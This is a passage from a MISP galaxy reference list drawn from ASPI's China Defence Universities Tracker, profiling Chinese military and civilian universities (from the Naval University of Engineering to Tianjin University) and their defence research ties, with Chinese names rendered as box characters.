NUE is one of the PLA's five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare.The university is home two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (□□□□□□□□□□□□□□□□□), which was established in 2010 to carry out 'indigenous research and development' into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation's (CSIC) 712th Research Institute.Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as 'the father of China's electromagnetic catapult system' (□□□□□□□□) by official Chinese media sources.NUE's National Defense Technology Key Laboratory of Marine Vibration and Noise (□□□□□□□□□□□□□□□□) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC's 701st Research Institute, also known as China Ship Development and Design Center (□□□□□□□□□□).Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (□□□□□□□□□□□□□□). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines.Academic departments at the Naval University of Engineering include:

The tag is: *misp-galaxy:china-defence-universities="Naval University of Engineering (□□□□□□□□□□□□□□)"*

Table 934. Table References

Links
https://unitracker.aspi.org.au/universities/naval-university-of-engineering

Navy Aviation University (□□□□□□□□□□□□□□)

The Navy Aviation University was established upon the merger of the Naval Aviation Pilot Academy and the Naval Aviation Engineering University during Xi Jinping's military reforms in 2017. The university conducts research into missile engineering, electrical engineering and automation, navigation engineering as well as air station management engineering and flight vehicle design engineering. Academic articles published by the university have looked at topics such as the PLA-N's combat system capability and naval aviation management systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Aviation University (□□□□□□□□□□□□□□)"*

Table 935. Table References

Links
https://unitracker.aspi.org.au/universities/navy-aviation-university

Navy Logistics Academy (□□□□□□□□□□□□□□)

The Navy Logistics Academy is an institution devoted to training naval cadets and officers specialising in logistics. The academy's core training and research focuses on military studies, management science and economics, while specialist lines of research include logistics command management and military financial auditing. The Center for Naval Analyses (CNA) in Arlington, Virginia have noted that entry into the academy tends to occur at the mid-career level for officers in the PLA-N.

The tag is: *misp-galaxy:china-defence-universities="Navy Logistics Academy (□□□□□□□□□□□□□□)"*

Table 936. Table References

Links
https://unitracker.aspi.org.au/universities/navy-logistics-academy

Navy Medical University (□□□□□□□□□□□□□□)

The PLA Navy Medical University, formerly known as the Second Military Medical University, was established in 1951 as a university focussed on medical research for the Chinese military.

The tag is: *misp-galaxy:china-defence-universities="Navy Medical University (□□□□□□□□□□□□□□)"*

Table 937. Table References

Links
https://unitracker.aspi.org.au/universities/navy-medical-university

Navy Submarine Academy (□□□□□□□□□□□□□□)

The Navy Submarine Academy is responsible for the training of submariners to crew its conventionally and nuclear-powered submarines. The academy focuses its research on subjects such as electrical and information engineering, combat simulation, underwater acoustic engineering and navigation technology along with weapons systems and launch engineering and underwater ordnance technology. The academy also offers programs in combat tactics and the underwater combat environment.The Navy Submarine Academy pursues research that may contribute to Chinese anti-submarine warfare capabilities through the Underwater Operational Environment Military Key Laboratory (□□□□□□□□□□□□□). The academy also oversees part of the The publication record of researchers from the Navy Submarine Academy also suggests a strong interest in foreign developments in undersea warfare systems. In 2018, the Navy Submarine Academy signed a cooperative agreement with Harbin Engineering University (HEU). The agreement is directed at promoting research collaboration in subjects such as big data fusion, intelligent navigation, underwater acoustic target recognition, and underwater unmanned intelligent control systems.

The tag is: *misp-galaxy:china-defence-universities="Navy Submarine Academy (□□□□□□□□□□□□□□)"*

Table 938. Table References

Links
https://unitracker.aspi.org.au/universities/navy-submarine-academy

North China Institute of Aerospace Engineering (□□□□□□□□)

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC).NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China's missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform.In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: *misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (□□□□□□□□)"*

Table 939. Table References

Links
https://unitracker.aspi.org.au/universities/north-china-institute-of-aerospace-engineering

North China University of Science and Technology (□□□□□□)

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013.'Military-use critical materials' has been designated as a key defence research area at NCST.

The tag is: *misp-galaxy:china-defence-universities="North China University of Science and Technology (□□□□□□)"*

Table 940. Table References

Links
https://unitracker.aspi.org.au/universities/north-china-university-of-science-and-technology

North University of China (□□□□)

NUC is a civilian university that specailises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC's website, 'Our university has long established

excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.' Approximately 2000 of its graduates enter the defence industry each year.NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (□□).

The tag is: *misp-galaxy:china-defence-universities="North University of China (□□□□)"*

Table 941. Table References

Links
https://unitracker.aspi.org.au/universities/north-university-of-china

Northeastern University (□□□□)

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology.NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research.In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (□□□□□□□□□□□□□□□□), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (□□□□□□□□□□). In 2019, the institute's senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: *misp-galaxy:china-defence-universities="Northeastern University (□□□□)"*

Table 942. Table References

Links
https://unitracker.aspi.org.au/universities/northeastern-university

Northwest Institute of Nuclear Technology (□□□□□□□□□)

NINT is one of China's main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China's only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry.NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi'an Jiaotong University.

The tag is: *misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (□□□□□□□□)"*

Table 943. Table References

Links
https://unitracker.aspi.org.au/universities/northwest-institute-of-nuclear-technology

Northwestern Polytechnical University (□□□□□□)

The university is one of the 'Seven Sons of National Defence' subordinate to MIIT. It is heavily engaged in military research, describing itself as 'devoted to improving and serving the national defence science and technology industry.' NWPU's research focuses on aviation, space and naval technology. Between 2014 and 2018, the university's School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector.NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company's largest customer and the company once claimed to produce 90% of China's drones.The university has close ties to state-owned shipbuilding and aerospace conglomerates.

The tag is: *misp-galaxy:china-defence-universities="Northwestern Polytechnical University (□□□□□□)"*

Table 944. Table References

Links
https://unitracker.aspi.org.au/universities/northwestern-polytechnical-university

Officers College of the PAP (□□□□□□□□□□□□□□□)

The Officers College of the PAP was established as an institution devoted to training officers of China's paramilitary service in command and engineering disciplines. The college's research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering.The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan.The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

The tag is: *misp-galaxy:china-defence-universities="Officers College of the PAP (□□□□□□□□□□□□□□□)"*

Table 945. Table References

Links
https://unitracker.aspi.org.au/universities/officers-college-of-the-pap

PAP NCO College (□□□□□□□□□□□□□□□□)

The PAP NCO College was established in 2017 following Xi Jinping's reforms to China's military education system. The college does not appear to engage in significant levels of defence research and focuses its attention on training enlisted personnel in China's paramilitary service, the People's Armed Police.

The tag is: *misp-galaxy:china-defence-universities="PAP NCO College (□□□□□□□□□□□□□□□□)"*

Table 946. Table References

Links
https://unitracker.aspi.org.au/universities/pap-nco-college

Peking University (□□□□)

PKU is considered among China's most prestigious universities with a storied history. It is ranked as one of China's top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC's educational initiatives, including as a Class A institution under the Double First-Class University program.PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university's involvement in defence research.PKU's Advanced Technology Institute was founded in 2006 to oversee and develop the university's defence research. Includes several research centres and supervises the university's four major defence laboratories. The institute's research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors.In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China's nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (□□□□-□□□□□□□□□□□□□□□□

Links
https://unitracker.aspi.org.au/universities/peking-university

People’s Armed Police Command College (□□□□□□□□□□□□□)

The PAP Command College is an institution devoted to training officers in China’s paramilitary service, the People’s Armed Police, that was established in 1984. The college’s key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program.Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college’s Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: *misp-galaxy:china-defence-universities="People’s Armed Police Command College (□□□□□□□□□□□□□)"*

Table 948. Table References

Links
https://unitracker.aspi.org.au/universities/peoples-armed-police-command-college

People’s Public Security University of China (□□□□□□□□□)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master’s and bachelor’s degree programs. In 1998, it was merged with the Chinese People’s Police University (□□□□□□□□). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Pubic Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School.PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory.The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

The tag is: *misp-galaxy:china-defence-universities="People's Public Security University of China (□□□□□□□□)"*

Table 949. Table References

Links
https://unitracker.aspi.org.au/universities/peoples-public-security-university-of-china

Railway Police College (□□□□□□)

The Railway Police College is China's only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: *misp-galaxy:china-defence-universities="Railway Police College (□□□□□□)"*

Table 950. Table References

Links
https://unitracker.aspi.org.au/universities/railway-police-college

Renmin University (□□□□)

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government's Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: *misp-galaxy:china-defence-universities="Renmin University (□□□□)"*

Table 951. Table References

Links
https://unitracker.aspi.org.au/universities/renmin-university

Rocket Force Command College (□□□□□□□□□□□□□□)

The Rocket Force Command College is the PLA's premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Command College (□□□□□□□□□□□□□□)"*

Table 952. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-command-college

Rocket Force Research Institute (□□□□□□□□□□□□□□□)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (□□□□□□□□) and the Rocket Force Equipment Academy (□□□□□□□□). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Research Institute (□□□□□□□□□□□□□□)"*

Table 953. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-research-institute

Rocket Force Sergeant School (□□□□□□□□□□□□□□□)

The Rocket Force Officer College is an institution devoted to training military personnel for China's tactical and strategic missile forces that was established after Xi Jinping's military reforms in 2017. The college's focus is on providing technical training to personnel in the PLARF's missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: *misp-galaxy:china-defence-universities="Rocket Force Sergeant School (□□□□□□□□□□□□□□□)"*

Table 954. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-sergeant-school

Rocket Force University of Engineering (□□□□□□□□□□□□□□□)

RFUE is the PLA strategic missile force's leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force.Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (□□□□□□□□□□□□□□□□□).The university's key areas of research include:

The tag is: *misp-galaxy:china-defence-universities="Rocket Force University of Engineering (□□□□□□□□□□□□□□)"*

Table 955. Table References

Links
https://unitracker.aspi.org.au/universities/rocket-force-university-of-engineering

Shandong University (□□□□)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities' involvement in defence research and training.SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province's 10 outstanding defence industry units.SDU collaborates with the Chinese Academy of Engineering Physics, China's nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

The tag is: *misp-galaxy:china-defence-universities="Shandong University (□□□□)"*

Table 956. Table References

Links
https://unitracker.aspi.org.au/universities/shandong-university

Shandong University of Technology (□□□□□□)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT's involvement in defence research and links to the defence industry will grow in coming years.SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

The tag is: *misp-galaxy:china-defence-universities="Shandong University of Technology (□□□□□□)"*

Table 957. Table References

Links
https://unitracker.aspi.org.au/universities/shandong-university-of-technology

Shanghai Jiao Tong University (□□□□□□)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction’ agreement between the MOE and SASTIND.The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University.One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a cyber espionage unit that has been implicated in cyber attacks on the United States.SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (□□□□□□□□□□□□□□□□□□), where it has contributed to assisting the PLA Navy’s transition to offshore defense operations.

The tag is: *misp-galaxy:china-defence-universities="Shanghai Jiao Tong University (□□□□□□)"*

Table 958. Table References

Links
https://unitracker.aspi.org.au/universities/shanghai-jiaotong-university

Shanghai University (□□□□)

SHU is engaged in growing levels of defence research. In 2016, the Shanghai Municipal Government and defence industry agency SASTIND agreed to jointly supervise and support its participation in defence research.Shanghai University has begun building up its capability in defence research in areas such as unmanned surface vehicles, materials for missiles, and microwave technology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.Shanghai University’s Research Institute of Unmanned Surface Vehicle Engineering researches and produces unmanned surface vessels, some of which are for the China Maritime Safety Administration.

The tag is: *misp-galaxy:china-defence-universities="Shanghai University (□□□□)"*

Table 959. Table References

Links
https://unitracker.aspi.org.au/universities/shanghai-university

Shenyang Aerospace University (□□□□□□□□)

SAU is the only university formally under the supervision of China's military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China's military aviation industry is what SAU refers to as its 'glorious tradition'.Many of China's military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

The tag is: *misp-galaxy:china-defence-universities="Shenyang Aerospace University (□□□□□□□□)"*

Table 960. Table References

Links
https://unitracker.aspi.org.au/universities/shenyang-aerospace-university

Shenyang Ligong University (□□□□□□)

SYLU is a civilian university that specialises in defence research. The university's primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi'an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND.SYLU is a member of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in armament science—the 'B' in 'B8' stands for the Chinese word for armaments, bingqi (□□). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (□□□□□□□□□□□□□□□□□) and SYLU's president doubles as chairman of the alliance. This indicates close ties between SYLU and China's arms industry.

The tag is: *misp-galaxy:china-defence-universities="Shenyang Ligong University (□□□□□□)"*

Table 961. Table References

Links
https://unitracker.aspi.org.au/universities/shenyang-ligong-university

Shenzhen University (□□□□)

SZU is the primary university in China's rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university's former president.

The tag is: *misp-galaxy:china-defence-universities="Shenzhen University (□□□□)"*

Table 962. Table References

Links
https://unitracker.aspi.org.au/universities/shenzhen-university

Shijiazhuang Tiedao University (□□□□□□□)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College.Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university's involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research.STDU is home to the National Defense Transportation Research Institute (□□□□□□□), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (□□□□□□□□□□□□), which develops military-use information processing software including remote-control systems for aerospace applications.

The tag is: *misp-galaxy:china-defence-universities="Shijiazhuang Tiedao University (□□□□□□□)"*

Table 963. Table References

Links
https://unitracker.aspi.org.au/universities/shijiazhuang-tiedao-university

Sichuan University (□□□□)

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research.The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC's primary nuclear warheads research facility. SCU's Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility.A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit 'likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University's Information Security and Network Attack and Defense Laboratory (□□□□□□□□□□□□□□□□□).'

The tag is: *misp-galaxy:china-defence-universities="Sichuan University (□□□□)"*

Table 964. Table References

Links
https://unitracker.aspi.org.au/universities/sichuan-university

Soochow University (□□□□)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence

industry agency SASTIND since 2016. This arrangement is designed to expand the university's involvement in defense-related research and training.The university has five designated defence disciplines, centred around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defence links, as it has become a major teaching and research base for the nuclear industry.Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the 'Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.'

The tag is: *misp-galaxy:china-defence-universities="Soochow University (□□□□)"*

Table 965. Table References

Links
https://unitracker.aspi.org.au/universities/soochow-university

South China University of Technology (□□□□□□)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university's involvement in defence-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects. As a result of the university's placement under joint construction and its secret-level security credentials, SCUT's involvement in defence research is likely to grow in coming years.Since 2008, the university has hosted a defence research laboratory on materials science. The lab was initially run by the university's president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (□□□□□□□□□□□□).

The tag is: *misp-galaxy:china-defence-universities="South China University of Technology (□□□□□□)"*

Table 966. Table References

Links
https://unitracker.aspi.org.au/universities/south-china-university-of-technology

Southeast University (□□□□)

SEU is a leading Chinese university that engages in high levels of defence research. In 2015, the university undertook RMB180m (AUD37m) of defence research projects, placing it among the Ministry of Education universities most involved in defence research. That figure has almost certainly grown since 2016, when SEU came under a 'joint construction' agreement between the Ministry of Education and defence industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects.The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering (□□□□□□□□) have been funded by the MSS, China's civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits

and works with PLA cyber security officers.SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy's Submarine Academy visited SEU in 2017.SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China's leading manufacturer of military electronics.

The tag is: *misp-galaxy:china-defence-universities="Southeast University (□□□□)"*

Table 967. Table References

Links
https://unitracker.aspi.org.au/universities/southeast-university

Southwest University of Science and Technology (□□□□□□□)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China's nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research.SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university's main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste.SWUST has worked closely with the Chinese Academy of Engineering Physics (China's nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province's 'Civil-military Integration Institute' is a testament to its integration with the military and defence industry.

The tag is: *misp-galaxy:china-defence-universities="Southwest University of Science and Technology (□□□□□□□)"*

Table 968. Table References

Links
https://unitracker.aspi.org.au/universities/southwest-university-of-science-and-technology

Space Engineering University (□□□□□□□□□□□□□□□□□□□□□□)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (□□□□). SEU describes itself as a 'comprehensive university that trains talents for space command management and engineering.' It is intended to serve as the 'cradle of the new PLA's space talent

training.' The SEU is subordinate to and supports the PLA Strategic Support Force's Space Systems Department (□□□□□), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department.The SEU offers degree programs at the undergraduate, master's, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors.Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

The tag is: *misp-galaxy:china-defence-universities="Space Engineering University (□□□□□□□□□□□□□□□□□□□□)"*

Table 969. Table References

Links
https://unitracker.aspi.org.au/universities/space-engineering-university

Special Police Academy (□□□□□□□□□□□□□□□)

SPA is made up of departments for training, political work and logistics. As such, SPA engages in little defence research and focusses its activities on training special operations paramilitary troops in command processes.

The tag is: *misp-galaxy:china-defence-universities="Special Police Academy (□□□□□□□□□□□□□□□)"*

Table 970. Table References

Links
https://unitracker.aspi.org.au/universities/special-police-academy

Sun Yat-sen University (□□□□)

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it come under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing.The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million).SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (□□□□□□□□□□□), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world's fastest from 2013 to 2015.Aside from the supercomputer center, SYSU's Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology.In 2010, the university established a State Secrets Academy (□□□□□□),

serving as the third university in China to establish such an institute in partnership with China's National Administration of State Secrets Protection (□□□□□). The Institute carries out research and training on the protection of state secrets.

The tag is: *misp-galaxy:china-defence-universities="Sun Yat-sen University (□□□□)"*

Table 971. Table References

Links
https://unitracker.aspi.org.au/universities/sun-yat-sen-university

Tianjin Polytechnic University (□□□□□□)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university's development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects.Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU's School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China's textile industry.

The tag is: *misp-galaxy:china-defence-universities="Tianjin Polytechnic University (□□□□□□)"*

Table 972. Table References

Links
https://unitracker.aspi.org.au/universities/tianjin-polytechnic-university

Tianjin University (□□□□)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of 'secret'. It hosts two defence laboratories, working on optoelectronics and propellants.In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team.TJU carries out research for the Ministry of State Security (MSS), China's civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.

